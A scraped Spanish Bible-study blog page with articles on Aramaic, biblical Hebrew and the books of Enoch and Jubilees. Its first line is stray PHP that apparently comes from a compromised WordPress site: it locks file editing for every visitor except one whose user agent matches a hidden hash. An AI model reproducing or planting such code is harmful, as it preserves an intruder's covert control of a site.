if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } fevereiro 2015 – Página: 5 – Texto Bíblico

El arameo, idioma de Cristo

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

II – El arameo

El arameo, idioma de Cristo

Como resultado del cautiverio babilónico, los judíos adoptaron el arameo en lugar del hebreo durante los últimos siglos de la era precristiana. Por el tiempo de Cristo, el arameo había llegado a ser la lengua materna de la población de Palestina. Una cantidad de expresiones arameas en el Nuevo Testamento muestran claramente que ése era el idioma de Jesús. “Talita cumi” (Marcos 5:41), “efata” (Marcos 7:34) y “Eloi, Eloi, ¿lema sabactani?” (Marcos 15:34) son algunas de las expresiones arameas de Cristo.

Todavía se leía la Biblia en hebreo en los servicios de la sinagoga en el tiempo de Cristo, pero muchas personas, especialmente las mujeres, no podían entenderlo. Por lo tanto, se había hecho costumbre que los lectores de la sinagoga tradujeran al arameo pasajes de las Escrituras. Posteriormente se hicieron traducciones escritas del Antiguo Testamento en arameo: los llamados “targumim“, (plural del heb.  targum “traducción”, “interpretación“, pl. tárgumes).

- Biblia Hebrea del siglo XI con Tárgum, quizá proveniente de Túnez, encontrada en Kurdistán, actualmente hace parte de la Colección Schøyen.
– Biblia Hebrea del siglo XI con Tárgum, quizá proveniente de Túnez, encontrada en Kurdistán, actualmente hace parte de la Colección Schøyen.

El hebreo se había convertido en una lengua muerta en los tiempos precristianos, y ha experimentado reavivamientos sólo artificiales; pero el arameo continuamente se ha mantenido como una lengua viva hasta hoy, y todavía se usa en ciertas partes del Cercano Oriente donde es conocido como siriaco.

———————-

—––

Las secciones en arameo

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

II – El arameo

Las secciones en arameo

El hecho de que el arameo hubiera llegado a ser un idioma internacional bajo los babilonios y persas, fue la razón para que algunas partes de la Biblia se escribieran en arameo. Magistrados que vivían bajo los babilonios que hablaban arameo – como Daniel – o los que trabajaban para los persas – como Esdras – eran hombres que empleaban el arameo verbalmente y por escrito con tanta fluidez como su hebreo materno.

El libro de Daniel refleja claramente la capacidad bilingüe de su autor. Al consignar la experiencia de Daniel relacionada con el sueño de Nabucodonosor, él comenzó su narración en hebreo, pero cuando llegó al lugar donde presentó el discurso de los sabios, que hablaban “lengua aramea” (Daniel 2:4), pasó – quizá inconscientemente – al idioma de esos hombres y continuó escribiendo en él durante varios capítulos antes de volver a su hebreo materno.

Hubo un tiempo cuando la existencia de las porciones arameas en los libros de Daniel y Esdras se tomaba como una prueba de que habían sido escritos en una fecha muy posterior. Sin embargo, desde el hallazgo de numerosos documentos arameos de las épocas de Daniel y de Esdras, en numerosos lugares del antiguo Cercano Oriente, se puede mostrar que no tiene nada de extraño que esos hombres insertaran en sus libros documentos arameos – como lo hizo Esdras – o relataran sucesos históricos en arameo como lo hicieron tanto Daniel como Esdras.

———————-

—––

La diseminación del arameo

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

II – El arameo

La diseminación del arameo

Mesopotamia fue el hogar original del arameo. Algunas tribus arameas, los caldeos, vivían en el sur de Babilonia, en la comarca de Ur; otras moraban en la alta Mesopotamia, entre el río Quebar (Khabur) y el gran codo del Eufrates, con Harán como su centro.

El hecho de que los patriarcas Abrahán, Isaac y Jacob estuvieran relacionados con Harán, probablemente explica la declaración hecha por Moisés de que Jacob era “arameo” (Deuteronomio 26:5).

Desde su cuna en el norte de Mesopotamia, el arameo se esparció hacia el sur por toda Siria.

Cuando las ciudades-estados de Siria, cuya población hablaba arameo, fueron destruidas por los asirios, en el siglo VIII AC, sus pobladores fueron trasplantados a diferentes partes del imperio asirio. Esto originó una gran difusión del arameo que era mucho más simple para aprender que la mayoría de los otros idiomas del antiguo Cercano Oriente.

Finalmente, el arameo se convirtió en la lengua común, el idioma internacional, del mundo civilizado, y llegó a ser primero el idioma oficial del imperio neobabilonio y luego del imperio persa.

———————–

—––

El arameo bíblico

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

II – El arameo

El arameo bíblico

Unos pocos capítulos de los libros de Esdras (capítulos   4:8 a 6:18; 7:12-26) y Daniel (capítulos  2:4 a 7:28), un versículo de Jeremías (capítulo 10:11) y una palabra en el Génesis (capítulo 31:47)* no fueron escritos en hebreo antiguo sino en arameo.

El arameo se parece al hebreo más o menos en la misma forma como el castellano se parece al portugués. Con todo, las diferencias entre el arameo y el hebreo no son dialectales, y se consideran como dos idiomas separados.

————————

* “Y lo llamó Labán, Jegar Sahaduta; y lo llamó Jacob, Galaad.” (Génesis 31:47).

Ambos nombres, uno arameo y el otro hebreo, tienen prácticamente el mismo significado, “montón del testimonio”. El que las más remotas inscripciones aramaicas no bíblicas conocidas no se remonten al tiempo de Jacob, sino a un período posterior, no prueba que no existiera el arameo en el siglo XVII AC.  La más antigua evidencia fuera de la Biblia de la existencia de un idioma tal consiste en ciertas palabras arameas encontradas en las tablillas cuneiformes alfabéticas de la antigua Ugarit de Siria, que datan del siglo XV AC. En consecuencia, nuestra Biblia contiene las más antiguas palabras arameas auténticas que se conozcan. Cada uno de los dos hombres le dio a ese recordativo un nombre en su propio idioma, con idéntico significado. Puesto que la región más tarde llegó a ser posesión de Israel, se le aplicó el nombre hebreo Galaad. Esto incluye no sólo las inmediaciones del monte Galaad mismo sino toda la región montañosa al este del Jordán entre los ríos Yarmuk y Jaboc.

———————-

—––

La Reforma y el estudio del idioma hebreo

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

I – El idioma hebreo antiguo

La Reforma y el estudio del idioma hebreo

Los cristianos, durante muchos siglos, no tuvieron interés en el Antiguo Testamento en el idioma hebreo, ni hicieron muchas tentativas para dominar ese idioma. Sólo dos de los padres de la iglesia, Orígenes y Jerónimo, se empeñaron en aprender hebreo. Desde la era apostólica hasta la Reforma protestante, los eruditos judíos fueron casi los únicos guardianes del idioma hebreo arcaico en que se escribió el Antiguo Testamento.

Siendo los reformadores vehementes estudiosos de la Palabra de Dios, auspiciaron y produjeron nuevas traducciones de la Biblia. Sin embargo, insistían en que cada traducción debía basarse en los idiomas originales y no en una traducción previa, ya fuera del griego o del latín. Como esto requería un profundo conocimiento del hebreo de parte de los traductores y eruditos protestantes, la Reforma dio un gran impulso a los estudios hebreos. Por ejemplo, en los siglos XVI y XVII, los eruditos cristianos publicaron 152 gramáticas hebreas; en cambio los eruditos judíos publicaron únicamente 18.

Durante los últimos ciento treinta años se han descubierto numerosas inscripciones hebreas, cananeas y en otros idiomas semíticos antiguos. Su contenido ha iluminado muchos pasajes del Antiguo Testamento, ha esclarecido incontables expresiones hebreas oscuras y ha proporcionado ejemplos que han ayudado a comprender mejor la gramática del idioma del Antiguo Testamento.

Con todo, debiera afirmarse que el conocimiento del hebreo antiguo de ninguna manera garantiza una comprensión correcta de las Sagradas Escrituras. Algunos de los mayores hebraístas de las últimas décadas han sido los críticos más destructores de la Biblia; en cambio, numerosos hombres y mujeres de Dios han explicado con solidez y vigor las páginas sagradas del Antiguo Testamento, sin saber hebreo, y han conducido a la gente al conocimiento de la verdad. Por supuesto, para el ministro de la Palabra el conocimiento del hebreo es deseable y útil. Sin embargo, las traducciones modernas generalmente están bien hechas y transmiten con bastante exactitud los pensamientos de los escritos originales. De ahí que el mejor expositor de las Escrituras no es necesariamente el hebraísta erudito, sino el hombre que tiene la medida mayor del Espíritu Santo, mediante el cual escudriña “lo profundo de Dios” (1 Corintios 2:10).

————————

—––

Diferencias lingüísticas

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

I – El idioma hebreo antiguo

Diferencias lingüísticas

Se pueden observar leves diferencias dialectales entre los diversos escritores de la Biblia. La existencia de tales diferencias entre las diversas tribus de Israel era bien conocida en los tiempos bíblicos. Esto se sabe por el relato de los efraimitas que no podían articular el sonido consonántico sh. Por eso pronunciaban “Shibolet” como “Sibolet” (Jueces 12:5,6).Sin embargo, en su conjunto el hebreo del Antiguo Testamento muestra gran uniformidad. Son muy pequeñas las diferencias lingüísticas entre los primeros escritores y los posteriores. Este hecho ha sido explicado por los eruditos de la alta crítica como una evidencia de que todos los libros del Antiguo Testamento fueron escritos en un período comparativamente corto. Sin embargo, es más razonable deducir que el hebreo en tiempos remotos se había fijado como idioma literario. Es decir, experimentó sólo leves cambios con el correr de los siglos cuando se escribieron los libros del Antiguo Testamento.

Con todo, hay señaladas diferencias entre la prosa y la poesía del Antiguo Testamento. A esta última pertenecen no sólo los Salmos y Job sino también muchas partes de los libros proféticos, como Isaías. La poesía hebrea difiere de la prosa por su uso de un vocabulario poético y de paralelismos. Los lectores de la versión Reina -Valera -antes de la revisión del 60- no siempre advertían ese paralelismo puesto que esa versión estaba impresa como si toda la Biblia hubiera estado escrita en prosa. Pero si uno abre una traducción moderna, como la Biblia de Jerusalén, inmediatamente advierte el paralelismo, porque las secciones poéticas del Antiguo Testamento están impresas como poesía. Esto se puede apreciar en el siguiente ejemplo tomado de los Salmos:

“Escucha mi ley, oh pueblo mío,
tiende tu oído a las palabras de mi boca;
voy a abrir mi boca en parábolas,
a evocar los misterios del pasado.
Lo que hemos oído y que sabemos,
lo que nuestros padres nos contaron,
no se lo callaremos a sus hijos,
a la futura generación lo contaremos.
Las laudes de Yahvéh y su poderío,
las maravillas que hizo” (Salmo 78:1-4, BJ).

Los libros poéticos abundan en sinónimos, los que casi constituyen un vocabulario poético especial del hebreo antiguo. Job 4:10,11 puede servir como una ilustración de esto. En estos dos versículos se encuentran cinco términos diferentes para “león”, que por falta de un equivalente mejor se han traducido en la VVR con términos tan prosaicos como “león”, “rugiente”, “leoncillos”, “león viejo” y “leona”. Se puede entender fácilmente que la riqueza de expresiones en los libros poéticos del Antiguo Testamento haya sido con frecuencia un motivo de desesperación para el novicio en hebreo.

Puesto que el hebreo antiguo ha sido una lengua muerta por muchos siglos, pocas personas lo aprenden como para que puedan usarlo tan fluidamente como un idioma moderno. Sin embargo, los que se empeñan en dominar completamente el hebreo antiguo, descubren en él inesperadas bellezas. El idioma hebreo, debido a su fuerza, a su intensidad de expresión y a su belleza, es un medio incomparable como vehículo de la poesía religiosa.

——————

—––

Características del hebreo – III

LOS IDIOMAS DEL ANTIGUO TESTAMENTO

I – El idioma hebreo antiguo

Características del hebreo – III

La inflexión verbal hebrea expresa sólo acción en términos de ser ésta completa o incompleta, nunca en el sentido de presente, pasado o futuro, como los verbos en español. El tiempo es tácito y no explícito. Los verbos que denotan una acción completa, comúnmente llamada “perfecta”, se traducen generalmente con el tiempo pasado, al paso que los que denotan una acción incompleta se dice que corresponden con el “imperfecto” y usualmente se traducen como si fueran futuros.

En términos generales, este proceder puede ser comparativamente exacto, pero a veces es completamente engañoso. Para determinar si la acción señalada por el verbo ocurrió realmente cuando se escribía o hablaba, o antes o después de ese tiempo, es necesario descubrir con ayuda del contexto el punto de vista del escritor.

Además el autor podía cambiar su enfoque temporal dentro de un mismo pasaje, yendo al futuro o al pasado, sin anunciarlo. De modo que si su enfoque está en el futuro lejano, puede tratar otros acontecimientos futuros como si estuvieran en el pasado. Pero en la declaración siguiente puede volver al tiempo pasado y describir acontecimientos pasados o presentes como si estuvieran en el futuro.

Como para complicar más el asunto, la construcción con vau consecutiva, que conecta las partes que componen una narración, algo así como lo hace nuestro sistema de dividir en párrafos, con frecuencia requiere que un “imperfecto” se entienda como “perfecto” y viceversa.

Cuando se hicieron las primeras traducciones de la Biblia al inglés, se entendía imperfectamente esta peculiaridad de los verbos hebreos, lo que resultó en frecuentes diferencias entre el inglés y el hebreo.

En términos generales, las traducciones más recientes tienden a reflejar el elemento temporal de los verbos hebreos más exactamente que las traducciones previas. Por otro lado, las traducciones modernas quizá no siempre representen el verdadero punto de vista temporal del escritor.

Esto se debe a que con frecuencia una decisión en cuanto al enfoque del autor, particularmente en la predicción profético, depende del concepto de la inspiración que tenga el lector.

El que cree en el don de profecía, da por sentado que el profeta proyecta su mente hacia el futuro, con frecuencia el futuro remoto. Pero el que niega el valor productivo de la profecía, dirá que el profeta sencillamente está describiendo sucesos pasados.

Por lo dicho es obvio que, a fin de determinar con cierto grado de exactitud el elemento temporal preciso en una declaración profético dada, el lector debe:

(1) tener un concepto válido de la inspiración;
(2) descubrir el enfoque temporal del autor en términos del concepto que el propio lector tiene acerca de la inspiración;
(3) interpretar los tiempos de los verbos en armonía con los requisitos de la gramática hebrea y con el enfoque temporal del autor.

Un ejemplo de este problema se presenta en la última parte del libro de Isaías – a la que comúnmente la alta crítica llama “Déutero-Isaías” – pues supone la existencia de un segundo escritor anónimo como su autor.

En parte considerando que Isaías habla de los sufrimientos de los judíos durante el cautiverio en Babilonia como si estuvieran en el pasado (Isaías 40:1,2, etc.), esos críticos concluyen que los capítulos 40 a 66 fueron escritos por otro autor, o autores, después del cautiverio. Sin embargo, el hecho de que las formas verbales denoten acción completada, no implica necesariamente, ni mucho menos, que los sucesos descritos allí ya habían ocurrido en el tiempo cuando escribió el profeta. Evidentemente, a Isaías se le habían mostrado el cautiverio y la restauración mediante inspiración profética, y habiendo ya visto esos sucesos, habló de ellos como si hubieran estado en el pasado.

En Isaías 53 se encuentra otro ejemplo de la forma en que la mente del profeta se proyecta hacia el futuro. En el hebreo de los vers. 1 a 9 (y así también en la Biblia de Jerusalén o BJ), Isaías proyecta su mente hacia el futuro profético y habla de los sufrimientos de Cristo como si estuvieran en el pasado. Pero en el vers. 10 su enfoque temporal vuelve a sus propios días, y continúa describiendo los mismos sucesos como si estuvieran en el futuro. Una comparación de las diferencias en el elemento temporal de los verbos de Isaías 53 – como se traducen en la VVR y en la BJ – hace resaltar el problema de la traducción de los “tiempos” de los verbos hebreos.

———————-

—––

Segundo de Enoc (Enoc eslavo)

Los Seudoepigráficos

Segundo de Enoc

Enoc eslavo

Libro de los secretos de Enoc

Segundo de Enoc, también llamado “Enoc Eslavo” o “Libro de los secretos de Enoc”.  Se lo llama Enoc eslavo porque, aunque fue escrito en griego (probablemente cerca del siglo I d.C.), ha sobrevivido sólo la versión eslava. En algunos puntos es similar con Primero de Enoc (Etiópico) y quizá conserve elementos del antiguo pensamiento mesiánico judío.

Describe la visita guiada de Enoc por los 7 cielos y los registros de las revelaciones que recibió de boca de los ángeles que le hablaron por espacio de 30 días y 30 noches, y, finalmente, sus exhortaciones e instrucciones para su hijo antes de su traslación.

Es similar en muchos puntos con la literatura cristiana más antigua, lo que podría deberse a citas de Segundo Enoc empleadas por algunos padres de la iglesia, o a elementos de Enoc tomados de ellos, lo cual depende de la fecha cuando se compuso esta obra. Un grupo de eruditos sitúa Segundo Enoc en el siglo I d. C., en tanto que otros lo hacen antes del siglo VII.
 ——
—–

Primero de Enoc (Enoc Etiópico)

Los Seudoepigráficos

Primero de Enoc (Enoc Etiópico)

El seudoepigráfico Primero de Enoc (Enoc Etiópico) es una compilación de las obras de varios autores fariseos, y parte se escribió en hebreo y parte en arameo.  Esta obra apocalíptica es conocida también como 1 Enoc y como Enoc Etiópico porque se ha preservado completamente sólo en etíope, aunque entre los Manuscritos del Mar Muerto se han encontrado fragmentos en hebreo y arameo.

Chester Beatty XII, Greek manuscript of the Book of Enoch, 4th century

P. Chester Beatty XII, hoja 3, actualmente en la universidad de Michigan.

Es el más largo de los seudoepigráficos, y el más importante de los apocalipsis no canónicos proveniente de los siglos II y I a.C.  Consiste en una serie de revelaciones adjudicadas a Enoc concerniente al origen del mal, la naturaleza y el destino de los ángeles;  también incluye temas escatológicos como el juicio, la resurrección y la naturaleza de la Gehenna y el Paraíso.

Después de una introducción que describe el propósito del libro y el viaje de Enoc a los cielos, la 1ª obvia división (caps. 6-36) rastrea el mal hasta los ángeles caídos y su relación carnal con las hijas de los hombres. Los caps. 37-71 contiene las Tres Similitudes de Enoc, el 1º de los cuales trata, entre otras cosas, del futuro reino de Dios (caps. 37-44).  En la 2ª de estas similitudes (caps.  45-57) presenta al superhumano “Hijo del Hombre”, quien viene a la tierra como Mesías.  Muchos eruditos sostienen que estas porciones del “Hijo del Hombre” tuvieron mucha influencia sobre los Evangelios del Nuevo Testamento.  En la 3ª similitud se describe la gloria del Mesías y su reinado sobre los reyes de la tierra (cps 58-69). Sin embargo, la ausencia en los Rollos del Mar Muerto de la 2ª sección de Enoc, que contiene las Similitudes, parece indicar que son de origen tardío, y que deben ser atribuidas a un judío o a un cristiano de los siglos I y II d.C. Los caps. 72-82 hablan de las luminarias celestiales.  Le siguen 2 sueños-visiones (caps. 83-90): uno trata del diluvio; el otro, de la historia del mundo hasta la cimentación del reino mesiánico.  Lo que sigue de la obra contiene las exhortaciones de Enoc, el Apocalipsis de las Semanas -el cual divide al mundo en 10 períodos- y, finalmente, algunos apéndices y agregados misceláneos (caps. 91-105).

De particular interés son sus enseñanzas acerca del reino venidero y la vida futura. Aparentemente declara que el gobernante trascendental de ese reino estuvo escondido con Dios desde antes de la creación del mundo (cap. 46: 1-2; 48: 6; 62: 7). Varios títulos que se dan a este gobernante se aplican a Jesús en el Nuevo Testamento. Es llamado “Su [de Dios] Ungido [o Mesías]” (cap. 52:4); “el justo” (cap. 38: 2; cf. Hechos 3: 14); “el Elegido” (1 Enoc 40: 5; 45:3-4; cf. Lucas 23: 35); y “el Hijo del Hombre” (1 Enoc 46: 3-4; 62: 5).
 
Las diversas partes de Primero de Enoc – escritas por diferentes autores – indican que existían varios puntos de vista entre los judíos del siglo I a. C. en cuanto al reino mesiánico. Los cap. 1-36 enseñan que ese reino existirá eternamente en la tierra después del juicio final; los cap. 37-71, que perdurará por la eternidad en la tierra y en el cielo, y que comenzará con el juicio final; y en los cap. 91-104 se enseña que el reino mesiánico será transitorio, estará en la tierra y será seguido por el juicio final.
 
También se da importancia a Azazel, identificado como el que “ha enseñado toda injusticia en la tierra y ha revelado los secretos eternos que estaban (guardados) en el cielo, los cuales los hombres se esforzaban por conocer” (cap. 9:6).
 
El juicio final de Azazel se declara con estas palabras: “El Señor dijo a Rafael: ‘Ata a Azazel de pies y manos, y échalo a las tinieblas; haz una abertura en el desierto, el que está en Dudael, y échalo ahí dentro. . . Y en el día del gran juicio será echado en el fuego. . . Toda la tierra ha sido corrompida por las obras que enseñó Azazel; atribúyele a él todos los pecados’ ” (cap. 10: 4-8).
 
Aunque la identificación de Azazel con Satanás no se puede probar por la autoridad del libro de Enoc, su nombre aquí muestra lo que entendían los judíos acerca de Azazel en el siglo I a. C.
 
Primero de Enoc señala el fermento del pensamiento escatológico que predominaba en ciertos sectores del judaísmo precisamente antes del período del Nuevo Testamento y durante él.
La referencia que hace Judas de Enoc y la cita de la profecía de ese patriarca (Judas 1:14, 15), han sido objeto de muchos comentarios. Los comentadores concuerdan generalmente en que el libro seudoepigráfico Primero de Enoc circulaba entre los judíos a mediados del siglo I a. C. . En el cap. 1:9 de ese libro dice lo siguiente: “¡Y he aquí! El viene con diez mil de sus santos para ejecutar juicio sobre todos y para destruir a todos los impíos; y para convencer de culpabilidad a toda carne de todas las obras de su impiedad que han cometido impíamente, y de todas las cosas duras que los impíos pecadores han hablado contra El” (R. H. Charles, The Apocrypha and Pseudepigrapha of the Old Testament, t. 2, p. 189).
Por lo común se cree que Judas citó de esta obra no canónica, aunque algunos sostienen que en realidad fue a la inversa. Si Judas citó de Primero de Enoc fue porque el Espíritu Santo lo indujo a hacerlo.
—————-
Enlaces externos:
——

Jubileos

Los Seudoepigráficos

Jubileos

El nombre Jubileos se deriva de su método de fechar los eventos de acuerdo con los jubileos de cada 49 años con sus subdivisiones. Aparenta ser una revelación dada por “el ángel de la presencia” a Moisés en el Sinaí (caps. 1:29; 2:1).  

Fue escrito en hebreo (pero sobrevivió en la forma etiópica de una traducción griega) indudablemente por un fariseo o esenio durante la segunda mitad del siglo II a. C., aunque se han sugerido fechas tanto anteriores como posteriores a ésta.

El libro de Jubileos fue conocido también por otros nombres: “El Pequeño Génesis” (El epíteto “pequeño” no se refiere a la extensión del libro, ya que es más grande que el Génesis canónico, sino a su carácter), “Apocalipsis de Moisés”, “Vida de Adán”.

Es un extenso comentario de Génesis y Éxodo 1-12 escrito con un enfoque legalista. Es de particular interés su enseñanza acerca del reino mesiánico venidero, que es concebido como una evolución gradual hasta que el hombre y la naturaleza alcancen la perfección, la felicidad y la paz. Los hombres alcanzarán entonces a vivir mil años, y cuando mueran, sus espíritus entrarán en un estado de eterna bienaventuranza. Se descubrió un fragmento de esta obra entre los manuscritos del mar Muerto en la caverna I de Qumrán.
 ——
—–

—–